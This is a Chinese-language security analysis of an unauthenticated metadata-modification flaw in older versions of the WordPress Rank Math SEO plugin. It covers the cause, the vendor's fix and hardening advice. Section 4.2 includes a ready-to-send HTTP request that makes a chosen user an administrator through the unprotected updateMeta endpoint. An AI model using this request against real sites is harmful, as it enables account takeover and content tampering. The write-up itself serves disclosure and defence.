WordPress Rank Math SEO插件任意元数据修改漏洞分析

1. 漏洞概述

漏洞类型：未经身份验证的任意元数据修改漏洞
影响插件：Rank Math SEO插件（1.0.41.2之前版本）
风险等级：高危
影响范围：可修改WordPress站点中的任意元数据，包括但不限于：

• 修改文章/页面内容
• 修改评论内容
• 用户权限提升（提权至管理员）
• 管理员权限降级

2. 漏洞背景

2.1 Rank Math插件简介

• WordPress三大SEO插件之一（与Yoast SEO、All in One SEO Pack并列）
• 提供全面的SEO功能，媲美Yoast付费版
• 完全免费使用

2.2 WordPress元数据(Metadata)基础

WordPress使用四种主要元数据表：

关键元数据字段：

• wp_user_level：用户等级（0-10）
• wp_capabilities：用户权限能力（如管理员为a:1:{s:13:"administrator";b:1;}）

3. 漏洞分析

3.1 漏洞位置

\wp-content\plugins\seo-by-rank-math\includes\rest\class-admin.php

3.2 漏洞触发流程

1. 路由注册：

   • gutenberg_routes()方法通过register_rest_route()注册自定义接口
   • 接口路径：/wp-json/rankmath/v1/updateMeta
   • 回调函数：$this->update_metadata

2. 参数处理：

   $object_id = $request->get_param('objectID');
   $object_type = $request->get_param('objectType');
   $meta = $request->get_param('meta');
   

3. 元数据更新：

   • 直接调用WordPress核心函数update_metadata()
   • 无任何权限验证

3.3 核心问题

• 接口未进行权限校验（缺少permission_callback）
• 直接暴露update_metadata函数给未认证用户
• 可操作所有元数据类型（post/user/comment）

4. 漏洞利用

4.1 利用条件

• 目标网站使用Rank Math插件（版本<1.0.41.2）
• 知道目标用户的ID（可通过查看个人资料页面源码获取）

4.2 提权操作步骤

1. 获取用户ID：

   • 登录低权限账户
   • 查看个人资料页面源码，搜索user_id

2. 构造恶意请求：

   POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
   Host: target.com
   Content-Type: application/json
   
   {
     "objectID": 4,
     "objectType": "user",
     "meta": {
       "wp_user_level": "10",
       "wp_capabilities": "a:1:{s:13:\"administrator\";b:1;}"
     }
   }
   

3. 验证提权：

   • 检查用户权限是否变为管理员
   • 或尝试访问管理员专属功能

4.3 其他利用方式

• 文章篡改：修改任意文章/页面内容
• 评论篡改：修改或删除评论
• 权限降级：将管理员降级为订阅者

5. 漏洞修复

5.1 官方修复方案（1.0.41.2版本）

1. 添加权限校验：

   'permission_callback' => [ $this, 'get_object_permissions_check' ]
   

2. 新增get_object_permissions_check方法：

   • 使用current_user_can()进行权限检查
   • 确保只有有权限的用户才能调用接口

5.2 临时修复建议

1. 立即升级Rank Math插件至最新版
2. 若无升级条件：
   • 禁用REST API端点
   • 通过.htaccess限制对/wp-json/rankmath/v1/updateMeta的访问

6. 深入技术细节

6.1 WordPress元数据操作函数

• update_metadata()：核心元数据更新函数
• 衍生函数：
  • update_post_meta()
  • update_user_meta()
  • update_comment_meta()

6.2 权限系统关键字段

• wp_user_level：

  • 0：订阅者
  • 1-7：不同等级贡献者/作者
  • 8-10：编辑/管理员

• wp_capabilities：

  • 序列化数组存储用户角色和能力
  • 示例：

    // 订阅者
    a:1:{s:10:"subscriber";b:1;}
    
    // 管理员
    a:1:{s:13:"administrator";b:1;}
    

7. 防御建议

1. 开发层面：

   • 所有REST API端点必须设置permission_callback
   • 遵循最小权限原则
   • 对用户输入进行严格验证

2. 运维层面：

   • 定期更新插件和主题
   • 监控异常元数据修改
   • 实施Web应用防火墙(WAF)规则

3. 安全审计：

   • 检查所有自定义REST API端点
   • 验证权限控制是否恰当
   • 特别关注元数据操作函数调用链

8. 总结

该漏洞由于Rank Math插件未对REST API端点进行适当的权限验证，导致攻击者可以绕过正常权限检查直接操作WordPress核心元数据。通过精心构造的请求，攻击者可以实现权限提升、内容篡改等恶意操作。这提醒我们：

1. REST API端点的安全性常被忽视
2. 元数据操作需要严格权限控制
3. 插件安全审计应成为WordPress安全维护的常规部分